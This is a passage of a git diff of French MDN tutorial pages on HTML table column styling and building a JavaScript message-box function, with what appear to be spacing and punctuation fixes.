**[`<colgroup>`](/fr/docs/Web/HTML/Element/colgroup)**. Ils existent parce qu'il peut être ennuyeux et inefficace de préciser le style dans chaque colonne — vous devez généralement spécifier les éléments de style dans chaque `<td>` ou `<th>` de la colonne, ou utiliser un selecteur complexe tel que {{cssxref(":nth-child()")}}. +Il y a une dernière fonctionnalité dont nous devons parler dans cet article avant de passer à autre chose. HTML a une méthode de définition des styles pour une colonne entière de données en un seul endroit — les éléments **[`<col>`](/fr/docs/Web/HTML/Element/col)** and **[`<colgroup>`](/fr/docs/Web/HTML/Element/colgroup)**. Ils existent parce qu'il peut être ennuyeux et inefficace de préciser le style dans chaque colonne — vous devez généralement spécifier les éléments de style dans chaque `<td>` ou `<th>` de la colonne, ou utiliser un selecteur complexe tel que {{cssxref(":nth-child()")}}. ### Premier exemple @@ -489,7 +489,7 @@ Ce qui nous donne comme résultat : {{EmbedLiveSample("Premier_exemple")}} -Ce n'est pas idéal, car nous devons répéter les informations de style dans les trois cellules de la colonne (nous aurions probablement défini une `classe` dans un projet réel et spécifié le style dans une feuille de style séparée). À la place, nous pouvons préciser l'information une seule fois dans un élément `<col>`. Les éléments `<col>` sont utilisés dans un conteneur `<colgroup>` juste en-dessous de la balise `<table>`. Nous pourrions créer le même effet que celui vu plus haut en spécifiant notre tableau comme suit : +Ce n'est pas idéal, car nous devons répéter les informations de style dans les trois cellules de la colonne (nous aurions probablement défini une `classe` dans un projet réel et spécifié le style dans une feuille de style séparée). À la place, nous pouvons préciser l'information une seule fois dans un élément `<col>`. Les éléments `<col>` sont utilisés dans un conteneur `<colgroup>` juste en-dessous de la balise `<table>`. Nous pourrions créer le même effet que celui vu plus haut en spécifiant notre tableau comme suit : ### Autres exemples @@ -514,7 +514,7 @@ Ce n'est pas idéal, car nous devons répéter les informations de style dans le </table> ``` -En effet, nous définissons deux « styles de colonnes », les informations de style pour chaque colonne. Nous n'appliquons pas de style pour la première colonne, mais nous devons inclure un élément `<col>` vide — si nous ne le faisons pas, le style indiqué s'appliquera à la première colonne. +En effet, nous définissons deux « styles de colonnes », les informations de style pour chaque colonne. Nous n'appliquons pas de style pour la première colonne, mais nous devons inclure un élément `<col>` vide — si nous ne le faisons pas, le style indiqué s'appliquera à la première colonne. Si nous voulions appliquer les informations de style aux deux colonnes, nous devrions juste inclure un élément `<col>` avec un attribut span, comme ceci : @@ -537,7 +537,7 @@ Ci-dessous, vous pouvez voir le planning d'un professeur de langues. Le vendredi Recréez le tableau en suivant les étapes ci-dessous. 1. Tout d'abord, faites une copie locale du fichier [timetable.html](https://github.com/mdn/learning-area/blob/master/html/tables/basic/timetable.html) dans un nouveau répertoire sur votre ordinateur. Le HTML contient le tableau vu ci-dessus, à l'exception des informations de style des colonnes. -2. Ajoutez un élément `<colgroup>` au début du tableau, juste en dessous de la balise `<table>`,dans lequel vous pouvez ajouter vos éléments `<col>` (voir les étapes restantes ci-dessous). +2. Ajoutez un élément `<colgroup>` au début du tableau, juste en dessous de la balise `<table>`,dans lequel vous pouvez ajouter vos éléments `<col>` (voir les étapes restantes ci-dessous). 3. Les deux premières colonnes doivent rester sans style. 4. Ajoutez une couleur de fond à la troisième colonne. La valeur de votre attribut `style` est `background-color:#97DB9A;` 5. Définissez une largeur différente pour la quatrième colonne. La valeur de votre attribut `style` est `width: 42px;` diff --git a/files/fr/learn/html/tables/index.md b/files/fr/learn/html/tables/index.md index 6e5436c43b..d51265d1d1 100644 --- a/files/fr/learn/html/tables/index.md +++ b/files/fr/learn/html/tables/index.md @@ -19,7 +19,7 @@ Une tâche assez courante en HTML consiste à structurer des données sous forme ## Prérequis -Avant de commencer ce module, vous devez déjà connaître les bases du HTML — voyez [Introduction au HTML](/fr/docs/Learn/HTML/Introduction_to_HTML). +Avant de commencer ce module, vous devez déjà connaître les bases du HTML — voyez [Introduction au HTML](/fr/docs/Learn/HTML/Introduction_to_HTML). > **Note :** Si vous travaillez sur un ordinateur/tablette/autre appareil avec lequel vous n'avez pas la possibilité de créer vos propres fichiers, vous devriez essayer (la plupart) des exemples de code dans un programme de codage en ligne comme [JSBin](http://jsbin.com/) ou [Thimble](https://thimble.mozilla.org/). @@ -35,4 +35,4 @@ Ce module contient les articles suivants : ## Évaluation des connaissances - [Structuration de données sur les planètes](/fr/docs/Learn/HTML/Tables/Structuring_planet_data) - - : Pour une évaluation des connaissances en matière de tableaux, nous vous fournissons quelques données sur les planètes du système solaire et nous vous demandons de les structurer sous forme de tableau HTML. + - : Pour une évaluation des connaissances en matière de tableaux, nous vous fournissons quelques données sur les planètes du système solaire et nous vous demandons de les structurer sous forme de tableau HTML. diff --git a/files/fr/learn/html/tables/structuring_planet_data/index.md b/files/fr/learn/html/tables/structuring_planet_data/index.md index c99f0c9cc5..a4d9020758 100644 --- a/files/fr/learn/html/tables/structuring_planet_data/index.md +++ b/files/fr/learn/html/tables/structuring_planet_data/index.md @@ -58,7 +58,7 @@ Les étapes suivantes décrivent ce que vous devez faire pour complèter l'exemp ## Conseils et astuces - La première cellule de la ligne d'en-tête doit être vierge et couvrir deux colonnes. -- Les en-têtes regrouppant des lignes (_exemple : les planètes joviennes_) qui sont à gauche des en-têtes de lignes des noms des planètes (exemple : _Saturne_) sont un peu difficiles à trier — vous devez vous assurer que chacun d'eux couvre le bon nombre de lignes et colonnes. +- Les en-têtes regrouppant des lignes (_exemple : les planètes joviennes_) qui sont à gauche des en-têtes de lignes des noms des planètes (exemple : _Saturne_) sont un peu difficiles à trier — vous devez vous assurer que chacun d'eux couvre le bon nombre de lignes et colonnes. - une des méthodes d'association des en-têtes avec leurs lignes et colonnes est un peu plus facile que l'autre. ## Correction diff --git a/files/fr/learn/index.md b/files/fr/learn/index.md index 31494005d5..6346a8caa2 100644 --- a/files/fr/learn/index.md +++ b/files/fr/learn/index.md @@ -41,9 +41,9 @@ Si vous avez des questions concernant des sujets que vous aimeriez voir couverts - Complètement débutant - : Si vous êtes totalement débutant dans le développement web, nous vous recommandons de commencer par travailler notre module [« Premiers pas sur le Web »](/fr/docs/Learn/Getting_started_with_the_web), qui est une introduction pratique au développement web. - Au-delà des bases - - : Si vous possédez déjà quelques connaissances, l'étape suivante consiste à étudier en détail le {{glossary("HTML")}} et les {{glossary("CSS")}} : débutez avec notre module [Introduction au HTML](/fr/docs/Learn/HTML/Introduction_to_HTML), puis voyez le module [Introduction aux CSS](/fr/docs/Learn/CSS/First_steps). + - : Si vous possédez déjà quelques connaissances, l'étape suivante consiste à étudier en détail le {{glossary("HTML")}} et les {{glossary("CSS")}} : débutez avec notre module [Introduction au HTML](/fr/docs/Learn/HTML/Introduction_to_HTML), puis voyez le module [Introduction aux CSS](/fr/docs/Learn/CSS/First_steps). - Écrire des scripts - - : Si vous êtes déjà à l'aise avec le HTML et les CSS, ou si vous êtes plutôt intéressé par le codage, voyez le {{glossary("JavaScript")}} ou le développement côté serveur. Commencez par nos modules [JavaScript : premiers pas](/fr/docs/Learn/JavaScript/First_steps) et [Premiers pas côté serveur](/fr/docs/Learn/Server-side/First_steps). + - : Si vous êtes déjà à l'aise avec le HTML et les CSS, ou si vous êtes plutôt intéressé par le codage, voyez le {{glossary("JavaScript")}} ou le développement côté serveur. Commencez par nos modules [JavaScript : premiers pas](/fr/docs/Learn/JavaScript/First_steps) et [Premiers pas côté serveur](/fr/docs/Learn/Server-side/First_steps). - Les _frameworks_ et l'outillage - : Lorsque vous aurez appris l'essentiel de HTML, CSS, et JavaScript, vous devriez étudier [les outils de développement web côté client](/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools) et éventuellement approfondir [les _frameworks_ JavaScript côté client](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks), ainsi [que la programmation des sites web côté serveur](/fr/docs/Learn/Server-side). @@ -72,7 +72,7 @@ Voici une liste de toutes les rubriques couvertes dans la zone d'apprentissage d - [Outils et tests](/fr/docs/Learn/Tools_and_testing) - : Cette rubrique présente les outils que les développeurs utilisent pour faciliter leur travail, tels que les outils de test inter-navigateurs, les _linters_, les outils de transformations et de mise en forme, les systèmes de gestion de version, et les outils de déploiement. - [Programmation de site web coté serveur](/fr/docs/Learn/Server-side) - - : Même si vous êtes focalisés sur le développement côté client, il est toujours utile de connaître le mode de fonctionnement des serveurs et des fonctionnalités du code côté serveur. Cette rubrique fournit une introduction générale sur le fonctionnement côté serveur et des didacticiels détaillant la manière de créer une application côté serveur à l'aide de deux environnements applicatifs populaires : Django (en Python) et Express (Node.js). + - : Même si vous êtes focalisés sur le développement côté client, il est toujours utile de connaître le mode de fonctionnement des serveurs et des fonctionnalités du code côté serveur. Cette rubrique fournit une introduction générale sur le fonctionnement côté serveur et des didacticiels détaillant la manière de créer une application côté serveur à l'aide de deux environnements applicatifs populaires : Django (en Python) et Express (Node.js). ## Obtenir nos exemples de code @@ -84,7 +84,7 @@ Si vous préférez copier le dépôt d'une manière plus flexible qui permet des 2. [S'inscrire pour obtenir un compte GitHub](https://github.com/join). 3. Une fois inscrit, se connecter dans [github.com](https://github.com) avec votre nom d'utilisateur et votre mot de passe. 4. Ouvrir l'[invite de commande](https://www.lifewire.com/how-to-open-command-prompt-2618089) (Windows) ou un terminal ([Linux](https://help.ubuntu.com/community/UsingTheTerminal), [macOS](http://blog.teamtreehouse.com/introduction-to-the-mac-os-x-command-line)). -5. Pour copier depuis le dépôt de l'espace d'apprentissage un répertoire nommé « learning-area » à l'emplacement courant dans votre ordinateur, utilisez la commande suivante : +5. Pour copier depuis le dépôt de l'espace d'apprentissage un répertoire nommé « learning-area » à l'emplacement courant dans votre ordinateur, utilisez la commande suivante : ```bash git clone https://github.com/mdn/learning-area @@ -92,15 +92,15 @@ Si vous préférez copier le dépôt d'une manière plus flexible qui permet des 6. Vous pouvez maintenant saisir le répertoire et retrouver les fichiers recherchés (soit avec votre explorateur de fichiers ou avec la [commande `cd`](<https://en.wikipedia.org/wiki/Cd_(command)>)). -Vous pouvez mettre à jour le dépôt de `learning-area` pour tout changement intervenu sur la version principale « main » de GitHub en parcourant les étapes suivantes : +Vous pouvez mettre à jour le dépôt de `learning-area` pour tout changement intervenu sur la version principale « main » de GitHub en parcourant les étapes suivantes : -1. Dans votre terminal/invite de commande, allez dans le répertoire `learning-area` avec `cd`. Par exemple, si vous êtes dans son répertoire parent : +1. Dans votre terminal/invite de commande, allez dans le répertoire `learning-area` avec `cd`. Par exemple, si vous êtes dans son répertoire parent : ```bash cd learning-area ``` -2. Mettez à jour le dépôt avec la commande : +2. Mettez à jour le dépôt avec la commande : ```bash git pull diff --git a/files/fr/learn/javascript/building_blocks/build_your_own_function/index.md b/files/fr/learn/javascript/building_blocks/build_your_own_function/index.md index 3fdd18cb03..d9558a70fc 100644 --- a/files/fr/learn/javascript/building_blocks/build_your_own_function/index.md +++ b/files/fr/learn/javascript/building_blocks/build_your_own_function/index.md @@ -17,7 +17,7 @@ original_slug: Apprendre/JavaScript/Building_blocks/Build_your_own_function --- {{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Functions","Learn/JavaScript/Building_blocks/Return_values", "Learn/JavaScript/Building_blocks")}} -Dans l'article précédent, nous avons traité essentiellement de la théorie. Le présent article fournira une expérience pratique. Ici vous allez mettre en pratique ces connaissances en construisant vos propres fonctions. Tout au long, nous expliquerons également quelques détails supplémentaires concernant les fonctions. +Dans l'article précédent, nous avons traité essentiellement de la théorie. Le présent article fournira une expérience pratique. Ici vous allez mettre en pratique ces connaissances en construisant vos propres fonctions. Tout au long, nous expliquerons également quelques détails supplémentaires concernant les fonctions. <table class="standard-table"> <tbody> @@ -45,7 +45,7 @@ Dans l'article précédent, nous avons traité essentiellement de la théorie. L ## Apprentissage actif : Construisons une fonction -La fonction que nous allons construire sera nommée `displayMessage()`. Elle affichera une boîte de message personnalisée sur une page web. Elle fonctionnera comme un substitut personnalisé de la fonction [alert()](/fr/docs/Web/API/Window/alert) du navigateur. Vous avez déjà vu cela avant, mais nous allons simplement nous rafraîchir la mémoire — essayez le code qui suit dans la console JavaScript de votre navigateur, sur n'importe quelle page que vous aimez : +La fonction que nous allons construire sera nommée `displayMessage()`. Elle affichera une boîte de message personnalisée sur une page web. Elle fonctionnera comme un substitut personnalisé de la fonction [alert()](/fr/docs/Web/API/Window/alert) du navigateur. Vous avez déjà vu cela avant, mais nous allons simplement nous rafraîchir la mémoire — essayez le code qui suit dans la console JavaScript de votre navigateur, sur n'importe quelle page que vous aimez : ```js alert('This is a message'); @@ -53,18 +53,18 @@ alert('This is a message'); La fonction prend un seul argument en paramètre — la chaîne de caractères qui est affichée dans la boîte d'alerte. Vous pouvez essayer de varier la syntaxe de la chaîne pour modifier le message. -La fonction [alert()](/fr/docs/Web/API/Window/alert) est assez limitée : vous pouvez modifier le message, mais vous ne pouvez pas facilement faire varier autre chose, comme la couleur, une icône, ou autre chose. Nous en construirons une qui s'avérera plus amusante. +La fonction [alert()](/fr/docs/Web/API/Window/alert) est assez limitée : vous pouvez modifier le message, mais vous ne pouvez pas facilement faire varier autre chose, comme la couleur, une icône, ou autre chose. Nous en construirons une qui s'avérera plus amusante. -> **Note :** Cet exemple devrait fonctionner correctement dans tous les navigateurs modernes, mais elle pourrait avoir un comportement un peu plus inattendu dans un navigateur ancien. Nous recommandons donc de faire cet exercice dans un navigateur moderne tel que Firefox, Opera, ou Chrome. +> **Note :** Cet exemple devrait fonctionner correctement dans tous les navigateurs modernes, mais elle pourrait avoir un comportement un peu plus inattendu dans un navigateur ancien. Nous recommandons donc de faire cet exercice dans un navigateur moderne tel que Firefox, Opera, ou Chrome. ## La fonction de base Pour commencer, mettons en place une fonction de base. -> **Note :** Pour les conventions de nommage des fonctions, vous devez suivre les mêmes règles que les [conventions de noms de variables](/fr/Learn/JavaScript/First_steps/Variables#An_aside_on_variable_naming_rules). Ce qui est bien, c'est que vous pouvez les différencier — les noms de fonctions se terminent par des parenthèses, pas les variables. +> **Note :** Pour les conventions de nommage des fonctions, vous devez suivre les mêmes règles que les [conventions de noms de variables](/fr/Learn/JavaScript/First_steps/Variables#An_aside_on_variable_naming_rules). Ce qui est bien, c'est que vous pouvez les différencier — les noms de fonctions se terminent par des parenthèses, pas les variables. 1. Commencez par faire une copie locale du fichier [function-start.html](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-start.html). Vous pourrez voir que le code HTML est simple — l'élément body ne contient qu'un seul bouton. Nous avons également ajouté quelques règles CSS de base pour styliser la boîte de message personnalisée, et un élément {{htmlelement("script")}} pour écrire notre code JavaScript. -2. Ensuite, ajoutez le code ci-dessous à l'intérieur de l'élément `<script>` : +2. Ensuite, ajoutez le code ci-dessous à l'intérieur de l'élément `<script>` : ```js function displayMessage() { @@ -72,7 +72,7 @@ Pour commencer, mettons en place une fonction de base. } ``` - Nous commençons avec le mot-clé `function`, qui signifie que nous définissons une fonction. Celui-ci est suivi par le nom que nous voulons donner à notre fonction, des parenthèses et des accolades. Tous les paramètres que nous voulons donner à notre fonction vont à l'intérieur des parenthèses, et le code qui s'exécute lorsque nous appelons la fonction va à l'intérieur des accolades. + Nous commençons avec le mot-clé `function`, qui signifie que nous définissons une fonction. Celui-ci est suivi par le nom que nous voulons donner à notre fonction, des parenthèses et des accolades. Tous les paramètres que nous voulons donner à notre fonction vont à l'intérieur des parenthèses, et le code qui s'exécute lorsque nous appelons la fonction va à l'intérieur des accolades. 3. Enfin, ajoutez le code suivant à l'intérieur des accolades : @@ -98,17 +98,17 @@ Pour commencer, mettons en place une fonction de base. Étant donné qu'il y a pas mal de code à analyser, allons-y pas à pas. -La première ligne utilise une fonction de l'API DOM appelée {{domxref("document.querySelector()")}} pour sélectionner l'élément {{htmlelement("html")}} et stocker une référence vers cet élément dans une variable appelée `html`, de façon à pouvoir l'utiliser plus tard : +La première ligne utilise une fonction de l'API DOM appelée {{domxref("document.querySelector()")}} pour sélectionner l'élément {{htmlelement("html")}} et stocker une référence vers cet élément dans une variable appelée `html`, de façon à pouvoir l'utiliser plus tard : ```js var html = document.querySelector('html'); ``` -La section suivante utilise une autre fonction de l'API DOM appelée {{domxref("Document.createElement()")}} pour créer un élément {{htmlelement("div")}} et stocker une référence vers lui dans une variable appelée `panel` (Dans la suite de l'article, nous parlerons simplement du panneau `<div>`.). Cet élément sera le conteneur extérieur de notre boîte de message. +La section suivante utilise une autre fonction de l'API DOM appelée {{domxref("Document.createElement()")}} pour créer un élément {{htmlelement("div")}} et stocker une référence vers lui dans une variable appelée `panel` (Dans la suite de l'article, nous parlerons simplement du panneau `<div>`.). Cet élément sera le conteneur extérieur de notre boîte de message. -Puis, nous utilisons encore une autre fonction de l'API DOM appelée {{domxref("Element.setAttribute()")}} pour ajouter un attribut `class` à notre panneau qui aura pour valeur `msgBox`. Ceci rendra plus facile la mise en forme de l'élément — si vous regardez le CSS de la page, vous verrez que nous utilisons un sélecteur de classe `.msgBox` dans le but de styliser la boîte de message ainsi que son contenu. +Puis, nous utilisons encore une autre fonction de l'API DOM appelée {{domxref("Element.setAttribute()")}} pour ajouter un attribut `class` à notre panneau qui aura pour valeur `msgBox`. Ceci rendra plus facile la mise en forme de l'élément — si vous regardez le CSS de la page, vous verrez que nous utilisons un sélecteur de classe `.msgBox` dans le but de styliser la boîte de message ainsi que son contenu. -Finallement, nous appelons une fonction du DOM nommée {{domxref("Node.appendChild()")}} sur la variable `html` créée précédemment, qui insère un élément, en tant qu'enfant, à l'intérieur d'un autre. Nous spécifions le panneau `<div>` (panel) comme l'enfant que nous voulons ajouter à l'intérieur de l'élément `<html>`. Nous avons besoin de le faire puisque l'élément que nous avons créé ne peut pas apparaître de lui-même sur la page — nous avons besoin de préciser où le mettre. +Finallement, nous appelons une fonction du DOM nommée {{domxref("Node.appendChild()")}} sur la variable `html` créée précédemment, qui insère un élément, en tant qu'enfant, à l'intérieur d'un autre. Nous spécifions le panneau `<div>` (panel) comme l'enfant que nous voulons ajouter à l'intérieur de l'élément `<html>`. Nous avons besoin de le faire puisque l'élément que nous avons créé ne peut pas apparaître de lui-même sur la page — nous avons besoin de préciser où le mettre. ```js var panel = document.createElement('div'); @@ -116,7 +116,7 @@ panel.setAttribute('class', 'msgBox'); html.appendChild(panel); ``` -Les deux sections suivantes font usage des mêmes fonctions `createElement()` et `appendChild()` que nous avons déjà vu pour créer deux nouveaux éléments — l'un {{htmlelement("p")}} et l'autre {{htmlelement("button")}} — et pour les insèrer dans la page en tant qu'enfant du panneau `<div>`. On utilise leur propriété {{domxref("Node.textContent")}} — qui représente le contenu textuel d'un élément — pour insérer un message à l'intérieur du paragraphe, ainsi qu'un 'x' à l'intérieur du bouton. Ce bouton sera cliqué / activé quand l'utilisateur voudra fermer la boîte de message. +Les deux sections suivantes font usage des mêmes fonctions `createElement()` et `appendChild()` que nous avons déjà vu pour créer deux nouveaux éléments — l'un {{htmlelement("p")}} et l'autre {{htmlelement("button")}} — et pour les insèrer dans la page en tant qu'enfant du panneau `<div>`. On utilise leur propriété {{domxref("Node.textContent")}} — qui représente le contenu textuel d'un élément — pour insérer un message à l'intérieur du paragraphe, ainsi qu'un 'x' à l'intérieur du bouton. Ce bouton sera cliqué / activé quand l'utilisateur voudra fermer la boîte de message. ```js var msg = document.createElement('p'); @@ -128,9 +128,9 @@ closeBtn.textContent = 'x'; panel.appendChild(closeBtn); ``` -Finalement, nous utilisons un gestionnaire d'évènements {{domxref("GlobalEventHandlers.onclick")}} de sorte qu'un clic sur le bouton déclenche le bout de code chargé de supprimer la totalité du panneau de la page — c'est-à-dire fermer la boîte de message. +Finalement, nous utilisons un gestionnaire d'évènements {{domxref("GlobalEventHandlers.onclick")}} de sorte qu'un clic sur le bouton déclenche le bout de code chargé de supprimer la totalité du panneau de la page — c'est-à-dire fermer la boîte de message. -Le gestionnaire `onclick` est une propriété disponible sur le bouton (en fait, sur n'importe quel élément de la page) qui pourra se voir transmettre une fonction en paramètre pour spécifier quel morceau de code sera déclenché quand le bouton sera cliqué. Vous en apprendrez bien plus dans notre article sur les évènements. Nous avons passé à notre gestionnaire `onclick` une fonction anonyme, qui contient le code exécuté quand le bouton est cliqué. L'instruction définie dans la fonction utilise la fonction de l'API DOM {{domxref("Node.removeChild()")}} pour indiquer que nous tenons à supprimer un élément enfant spécifique de l'élément HTML — dans notre cas le panneau `<div>`. +Le gestionnaire `onclick` est une propriété disponible sur le bouton (en fait, sur n'importe quel élément de la page) qui pourra se voir transmettre une fonction en paramètre pour spécifier quel morceau de code sera déclenché quand le bouton sera cliqué. Vous en apprendrez bien plus dans notre article sur les évènements. Nous avons passé à notre gestionnaire `onclick` une fonction anonyme, qui contient le code exécuté quand le bouton est cliqué. L'instruction définie dans la fonction utilise la fonction de l'API DOM {{domxref("Node.removeChild()")}} pour indiquer que nous tenons à supprimer un élément enfant spécifique de l'élément HTML — dans notre cas le panneau `<div>`. ```js closeBtn.onclick = function() { @@ -138,7 +138,7 @@ closeBtn.onclick = function() { } ``` -Au final, l'intégralité du bloc de code génère un bloc de code HTML et l'insère dans la page, ce qui ressemble à ça : +Au final, l'intégralité du bloc de code génère un bloc de code HTML et l'insère dans la page, ce qui ressemble à ça : ```html <div class="msgBox"> @@ -147,11 +147,11 @@ Au final, l'intégralité du bloc de code génère un bloc de code HTML et l'in </div> ``` -Ça nous a fait beaucoup de code à passer en revue — ne vous inquiétez pas trop si vous ne vous souvenez pas exactement de comment chaque instruction fonctionne ! Bien que la partie principale sur laquelle nous voulions mettre l'accent ici est la structure de la fonction et son utilisation, nous avons voulu montrer quelque chose d'intéressant pour mettre en valeur cet exemple. +Ça nous a fait beaucoup de code à passer en revue — ne vous inquiétez pas trop si vous ne vous souvenez pas exactement de comment chaque instruction fonctionne ! Bien que la partie principale sur laquelle nous voulions mettre l'accent ici est la structure de la fonction et son utilisation, nous avons voulu montrer quelque chose d'intéressant pour mettre en valeur cet exemple. ## Appeler la fonction -À présent, nous avons notre fonction définie comme il faut dans notre balise `<script>`, mais il ne se passera rien si on laisse les choses en l'état. +À présent, nous avons notre fonction définie comme il faut dans notre balise `<script>`, mais il ne se passera rien si on laisse les choses en l'état. 1. Ajoutez la ligne suivante au-dessous de votre fonction pour l'appeler : @@ -168,7 +168,7 @@ Au final, l'intégralité du bloc de code génère un bloc de code HTML et l'in Dans cette démo, nous faisons apparaître le message quand l'utilisateur clique sur le bouton. 3. Supprimez la ligne précédente que vous avez ajoutée. -4. Ensuite, vous sélectionnerez le bouton et stockerez une référence vers celui-ci dans une variable. Ajoutez la ligne suivante à votre code, au-dessus de la définition de fonction : +4. Ensuite, vous sélectionnerez le bouton et stockerez une référence vers celui-ci dans une variable. Ajoutez la ligne suivante à votre code, au-dessus de la définition de fonction : ```js var btn = document.querySelector('button'); @@ -180,7 +180,7 @@ Au final, l'intégralité du bloc de code génère un bloc de code HTML et l'in btn.onclick = displayMessage; ``` - D'une manière similaire à notre ligne `closeBtn.onclick...` à l'intérieur de la fonction, ici, nous appelons un certain code en réponse à un clic sur un bouton. Mais dans ce cas, au lieu d'appeler une fonction anonyme contenant du code, nous appelons directement notre nom de fonction. + D'une manière similaire à notre ligne `closeBtn.onclick...` à l'intérieur de la fonction, ici, nous appelons un certain code en réponse à un clic sur un bouton. Mais dans ce cas, au lieu d'appeler une fonction anonyme contenant du code, nous appelons directement notre nom de fonction. 6. Essayez d'enregistrer et de rafraîchir la page, maintenant vous devriez voir la boîte de message s'afficher lorsque vous cliquez sur le bouton. @@ -196,9 +196,9 @@ Si vous avez essayé la dernière expérimentation, assurez-vous d'annuler la de ## Améliorer la fonction à l'aide de paramètres -En l'état, la fonction n'est pas très utile — on ne veut pas montrer le même message par défaut à chaque fois. Améliorons la en ajoutant quelques paramètres, ils permettront d'appeler la fonction avec différentes options. +En l'état, la fonction n'est pas très utile — on ne veut pas montrer le même message par défaut à chaque fois. Améliorons la en ajoutant quelques paramètres, ils permettront d'appeler la fonction avec différentes options. -1. Premièrement, mettons à jour la première ligne : +1. Premièrement, mettons à jour la première ligne : ```js function displayMessage() { @@ -210,7 +210,7 @@ En l'état, la fonction n'est pas très utile — on ne veut pas montrer le mê function displayMessage(msgText, msgType) { ``` - Maintenant, quand nous appelons la fonction, nous pouvons fournir deux valeurs de variables entre les parenthèses : une pour spécifier le message à afficher dans la boîte, l'autre pour le type de message. + Maintenant, quand nous appelons la fonction, nous pouvons fournir deux valeurs de variables entre les parenthèses : une pour spécifier le message à afficher dans la boîte, l'autre pour le type de message. 2. Pour faire usage du premier paramètre, mettez à jour la ligne suivante à l'intérieur de votre fonction : @@ -224,7 +224,7 @@ En l'état, la fonction n'est pas très utile — on ne veut pas montrer le mê msg.textContent = msgText; ``` -3. Vous devez maintenant mettre à jour votre appel de fonction pour inclure un texte de message mis à jour. Modifiez la ligne suivante : +3. Vous devez maintenant mettre à jour votre appel de fonction pour inclure un texte de message mis à jour. Modifiez la ligne suivante : ```js btn.onclick = displayMessage; @@ -242,15 +242,15 @@ En l'état, la fonction n'est pas très utile — on ne veut pas montrer le mê 4. Rechargez et essayez le code à nouveau et vous verrez qu'il fonctionne toujours très bien, sauf que maintenant vous pouvez également modifier le message à l'intérieur du paramètre pour obtenir des messages différents affichés dans la boîte ! -### Un paramètre plus complexe +### Un paramètre plus complexe -Passons au paramètre suivant. Celui-ci va demander un peu plus de travail — selon la valeur du paramètre `msgType`, la fonction affichera une icône et une couleur d'arrière-plan différentes. +Passons au paramètre suivant. Celui-ci va demander un peu plus de travail — selon la valeur du paramètre `msgType`, la fonction affichera une icône et une couleur d'arrière-plan différentes. -1. Tout d'abord, téléchargez les icônes nécessaires à cet exercice ([warning](https://raw.githubusercontent.com/mdn/learning-area/master/javascript/building-blocks/functions/icons/warning.png) et [chat](https://raw.githubusercontent.com/mdn/learning-area/master/javascript/building-blocks/functions/icons/chat.png)) depuis GitHub. Enregistrez-les dans un nouveau dossier appelé `icons` dans le même répertoire que votre fichier HTML. +1. Tout d'abord, téléchargez les icônes nécessaires à cet exercice ([warning](https://raw.githubusercontent.com/mdn/learning-area/master/javascript/building-blocks/functions/icons/warning.png) et [chat](https://raw.githubusercontent.com/mdn/learning-area/master/javascript/building-blocks/functions/icons/chat.png)) depuis GitHub. Enregistrez-les dans un nouveau dossier appelé `icons` dans le même répertoire que votre fichier HTML. - > **Note :** icônes [warning](https://www.iconfinder.com/icons/1031466/alarm_alert_error_warning_icon) et [chat](https://www.iconfinder.com/icons/1031441/chat_message_text_icon) trouvés sur iconfinder.com, et créés par [Nazarrudin Ansyari](https://www.iconfinder.com/nazarr). Merci ! + > **Note :** icônes [warning](https://www.iconfinder.com/icons/1031466/alarm_alert_error_warning_icon) et [chat](https://www.iconfinder.com/icons/1031441/chat_message_text_icon) trouvés sur iconfinder.com, et créés par [Nazarrudin Ansyari](https://www.iconfinder.com/nazarr). Merci ! -2. Ensuite, trouvez le CSS à l'intérieur de votre fichier HTML. Nous ferons quelques changements pour faire place aux icônes. Tout d'abord, mettez à jour la largeur `.msgBox` en changeant : +2. Ensuite, trouvez le CSS à l'intérieur de votre fichier HTML. Nous ferons quelques changements pour faire place aux icônes. Tout d'abord, mettez à jour la largeur `.msgBox` en changeant : ```css width: 200px; @@ -262,7 +262,7 @@ Passons au paramètre suivant. Celui-ci va demander un peu plus de travail — width: 242px; ``` -3. Ensuite, ajoutez les lignes à l'intérieur de la règle CSS `.msgBox p { ... }` : +3. Ensuite, ajoutez les lignes à l'intérieur de la règle CSS `.msgBox p { ... }` : ```css padding-left: 82px; @@ -270,7 +270,7 @@ Passons au paramètre suivant. Celui-ci va demander un peu plus de travail — background-repeat: no-repeat; ``` -4. Maintenant, nous devons ajouter du code à notre fonction `displayMessage()` pour gérer l'affichage de l'icône. Ajoutez le bloc suivant juste au dessus de l'accolade fermante "`}`" de votre fonction : +4. Maintenant, nous devons ajouter du code à notre fonction `displayMessage()` pour gérer l'affichage de l'icône. Ajoutez le bloc suivant juste au dessus de l'accolade fermante "`}`" de votre fonction : ```js if (msgType === 'warning') { @@ -284,7 +284,7 @@ Passons au paramètre suivant. Celui-ci va demander un peu plus de travail — } ``` - Ici, quand `msgType` a la valeur `'warning'`, l'icône d'avertissement est affichée et le fond du panneau prend la couleur rouge. Si `msgType` a la valeur `'chat'`, l'icône de chat est affichée et l'arrière-plan du panneau est bleu. Si le paramètre `msgType` n'a pas de valeur du tout (ou s'il a une valeur totalement différente), alors la partie du code contenue dans `else { ... }` est exécutée : le paragraphe prend un padding par défaut et il n'y a ni icône ni couleur d'arrière-plan. En fait, on fournit un état par défaut si aucun paramètre `msgType` n'est fourni, ce qui signifie qu'il s'agit d'un paramètre facultatif ! + Ici, quand `msgType` a la valeur `'warning'`, l'icône d'avertissement est affichée et le fond du panneau prend la couleur rouge. Si `msgType` a la valeur `'chat'`, l'icône de chat est affichée et l'arrière-plan du panneau est bleu. Si le paramètre `msgType` n'a pas de valeur du tout (ou s'il a une valeur totalement différente), alors la partie du code contenue dans `else { ... }` est exécutée : le paragraphe prend un padding par défaut et il n'y a ni icône ni couleur d'arrière-plan. En fait, on fournit un état par défaut si aucun paramètre `msgType` n'est fourni, ce qui signifie qu'il s'agit d'un paramètre facultatif ! 5. Nous allons tester notre fonction mise à jour, essayez de mettre à jour l'appel `displayMessage()` : @@ -301,10 +301,10 @@ Passons au paramètre suivant. Celui-ci va demander un peu plus de travail — Vous pouvez voir à quel point notre petite (plus tant que cela maintenant) fonction est devenue utile : -> **Note :** Si vous avez des difficultés à mettre en œuvre cet exemple, n'hésitez pas à verifier votre code par rapport à la [version définitive sur GitHub](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-stage-4.html) (aussi, vous pouvez tester la [démo](http://mdn.github.io/learning-area/javascript/building-blocks/functions/function-stage-4.html)), ou nous demander de 